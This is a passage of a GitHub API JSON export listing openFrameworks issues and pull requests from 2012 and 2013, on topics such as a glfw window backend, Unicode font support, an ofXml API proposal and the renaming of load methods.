glfw","user":{"login":"underdoeg","id":243820,"avatar_url":"https://secure.gravatar.com/avatar/6ff8fe2dd72480f1685ee15e374205b7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6ff8fe2dd72480f1685ee15e374205b7","url":"https://api.github.com/users/underdoeg","html_url":"https://github.com/underdoeg","followers_url":"https://api.github.com/users/underdoeg/followers","following_url":"https://api.github.com/users/underdoeg/following","gists_url":"https://api.github.com/users/underdoeg/gists{/gist_id}","starred_url":"https://api.github.com/users/underdoeg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/underdoeg/subscriptions","organizations_url":"https://api.github.com/users/underdoeg/orgs","repos_url":"https://api.github.com/users/underdoeg/repos","events_url":"https://api.github.com/users/underdoeg/events{/privacy}","received_events_url":"https://api.github.com/users/underdoeg/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":36,"created_at":"2012-08-08T11:41:24Z","updated_at":"2013-03-07T16:33:52Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1470","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1470.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1470.patch"},"body":"This branch uses glfw as the window system and ditches glut. But ofAppGlutWindow can still be used by modifying main.cpp\n\nto use glfw:\n````c++\nofSetupOpenGL(ofGetWindowManager(), 640,480, OF_WINDOW);\t\n````\n\nto use glut:\n````c++\nofAppGlutWindow window;\nofSetupOpenGL(&window, 1024,768, OF_WINDOW);\n````\n\nI was using this branch for the last couple of weeks on ubuntu and think it is pretty stable. But it needs compiled libs for mac & windows. The glfw version I use is a fork of the official glfw repo https://github.com/underdoeg/glfw\n\nWe should not merge this before those compiled libs are in there.\n\nI send this pull request mainly to have a place to get a discussion going. It'd be great if someone could try this and test if it works for them too :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1468","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1468/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1468/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1468/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1468","id":6072184,"number":1468,"title":"ofTrueTypeFont is unicode-unaware","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-08-07T09:43:24Z","updated_at":"2012-08-07T13:21:51Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It's the 21st century and oF is used all over the world (most notably in 日本国), and therefore ofTrueTypeFont should be able to draw UTF-8 strings. \n\nref: \"The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)\" http://www.joelonsoftware.com/articles/Unicode.html \n\nThe most complex part of this will be to enable dynamic character loading and unloading, as there are >110,000 unicode characters. @gimlids and I worked in the Futurelab on a project that could do this -- it's not actually as difficult as it might seem."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1466","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1466/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1466/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1466/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1466","id":6058618,"number":1466,"title":"Reduce warnings count","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":20,"created_at":"2012-08-06T18:26:12Z","updated_at":"2013-01-26T22:43:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"To improve new processes like the deprecation warnings and the automated build server, it is imho important to reduce the number of warnings we get when compiling OF. Additional benefit: new users don't get scared by them.\nSince it's not always clear how to resolve certain warnings (e.g. is an unused variable a programming mistake or some leftover code cruft?), I intend this issue to be a discussion ground for advice on these matters. \nPRs are welcome (thanks @bostonbusmap for the most recent bout of fixes btw!)!\n\nUpdates: \nLinux OF compiles with 0 warnings. Other OSes, examples still TODO.\nMacOS has 24 warnings from the linker."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1462","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1462/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1462/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1462/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1462","id":6040930,"number":1462,"title":"ofSerial readByte and writeByte simplification","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"milestone":null,"comments":4,"created_at":"2012-08-06T00:06:56Z","updated_at":"2012-08-08T15:05:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"readByte and writeByte should just be wrappers for readBytes and writeBytes. having the code copied just increases the chance for errors and maintenance problems.\n\nthis isn't a bug necessarily, just a design suggestion."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1439","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1439/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1439/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1439/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1439","id":6013902,"number":1439,"title":"Feature cairo gl backend","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-08-03T12:46:31Z","updated_at":"2012-08-04T10:13:53Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1439","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1439.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1439.patch"},"body":"Uses cairo to render shapes to a memory surface then shows them in openGL by uploading a texture. It's of course slower than directly render to openGL but you get awesome anti aliasing and properly capped lines\n\n![example](http://arturocastro.net/files/cairoBackend.png)\nleft is cairo, right is openGL"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1438","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1438/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1438/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1438/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1438","id":5995902,"number":1438,"title":"rewrite ofxXmlSettings with Poco::Xml, move to core as ofXml","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"milestone":null,"comments":25,"created_at":"2012-08-02T16:10:31Z","updated_at":"2012-08-24T22:04:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i went through all the methods and organized them, thinking about what would be cleanest. here's what i imagine ofXml looking like:\n\n````c++\nclass ofXml {\npublic:\n\tbool load(const string& filename);\n\tbool load(const ofBuffer& buffer);\n\tbool save(const string& filename);\n\t\n\tstring toString() const;\n\t\n\tvoid clear();\n\tvoid pushTag(const string& tag, int which = 0);\n\tvoid popTag();\n\t\n\tbool tagExists(const string& tag, int which = 0) const;\n\tint getNumTags(const string& tag) const;\n\tvoid addTag(const string& tag);\n\tvoid removeTag(const string& tag);\n\tvoid addValue(const string& tag, int value);\n\tvoid addValue(const string& tag, double value);\n\tvoid addValue(const string& tag, const string& value);\n\tvoid setValue(const string& tag, int value, int which = 0);\n\tvoid setValue(const string& tag, double value, int which = 0);\n\tvoid setValue(const string& tag, const string& value, int which = 0);\n\tint getValue(const string& tag, int defaultValue, int which = 0) const;\n\tdouble getValue(const string& tag, double defaultValue, int which = 0) const;\n\tstring getValue(const string& tag, const string& defaultValue, int which = 0) const;\n\t\n\tbool attributeExists(const string& tag, const string& attribute, int which = 0) const;\n\tint getNumAttributes(const string& tag, int which = 0) const;\n\tvoid removeAttribute(const string& tag, const string& attribute);\n\tvoid addAttribute(const string& tag, const string& attribute, int value, int which = 0);\n\tvoid addAttribute(const string& tag, const string& attribute, double value, int which = 0);\n\tvoid addAttribute(const string& tag, const string& attribute, const string& value, int which = 0);\n\tvoid setAttribute(const string& tag, const string& attribute, int value, int which = 0);\n\tvoid setAttribute(const string& tag, const string& attribute, double value, int which = 0);\n\tvoid setAttribute(const string& tag, const string& attribute, const string& value, int which = 0);\n\tint getAttribute(const string& tag, const string& attribute, int defaultValue, int which = 0) const;\n\tdouble getAttribute(const string& tag, const string& attribute, double defaultValue, int which = 0) const;\n\tstring getAttribute(const string& tag, const string& attribute, const string& defaultValue, int which = 0) const;\n\tvector getAttributes(const string& tag, int which = 0) const;\n};\n````"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1437","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1437/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1437/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1437/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1437","id":5986855,"number":1437,"title":"throw error when using make files on non-supported platform","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":8,"created_at":"2012-08-02T08:04:37Z","updated_at":"2013-03-09T21:53:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Yet another user [assumed recently](http://forum.openframeworks.cc/index.php/topic,10401.msg47225/topicseen.html#new) that make files would work on OSX. This is not supported currently (#1393), but would probably be nice to have at some point. \n\nIn the meantime, it would be great if the makefile could throw an error if it is used on a non-supported platform, so people don't even try to get it to run. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1436","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1436/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1436/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1436/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1436","id":5969881,"number":1436,"title":"all loadX() methods should be load()","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":4,"created_at":"2012-08-01T14:55:41Z","updated_at":"2013-02-11T12:12:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"for example, `ofVideoPlayer::loadMovie()` and `ofImage::loadImage()` should just be `load()`.\n\nobviously a hard change would break every openFrameworks project ever, but we're already moving in this direction with the newest classes. so in the meantime we need to:\n\n1. change the name of `loadX()` to `load()`\n2. add a wrapper for `load()` called `loadX()`\n3. mark the wrapper deprecated\n4. change all the examples to use `load()` instead of `loadX()`\n\nthis issue makes issue #510 irrelevant, so i've closed it.\n\nalso, #463 is related: while we're changing `load()` we should make sure it's always testable.\n\nthis change may seem aesthetic at first, but it's following one of the important design guideline: \"openFrameworks is consistent and intuitive: it should operate on the principle of least surprise, so that what you learn about one part of openFrameworks can be applied to other parts of it.\"\n\ni think it's also essential to get it in sooner so that as people continue writing more about OF the writing can both be consistent and up-to-date."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1432","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1432/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1432/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1432/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1432","id":5927678,"number":1432,"title":"Does _WIN32_WINNT need to be defined?","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2012-07-30T19:56:34Z","updated_at":"2012-10-26T08:04:13Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I notice that in [ofConstants.h](https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofConstants.h#L50), _WIN32_WINNT is defined even though the [reason (old ofThread code)](https://github.com/openframeworks/openFrameworks/commit/f28cb335da5f8b34b5781c7938a6d4fa0a5fdcd9) is long gone.\n\nThis is causing [an issue with ofxPd](https://github.com/danomatika/ofxPd/issues/21), since libpd defines it as well. There might be issues with other libraries as well."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1428","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1428/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1428/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1428/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1428","id":5893723,"number":1428,"title":"Remove functions deprecated in 0072","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":3,"created_at":"2012-07-28T15:14:38Z","updated_at":"2013-02-11T12:16:05Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Some functions have been deprecated in 0072 (#1427 et al.). It's time to remove them at some point. I have tentatively scheduled this point to be 0074 (i.e. 2 releases after deprecation). ~ half a year (including inevitable delays) should allow plenty of time for people to notice the warnings.\r\n\r\nList of deprecations: 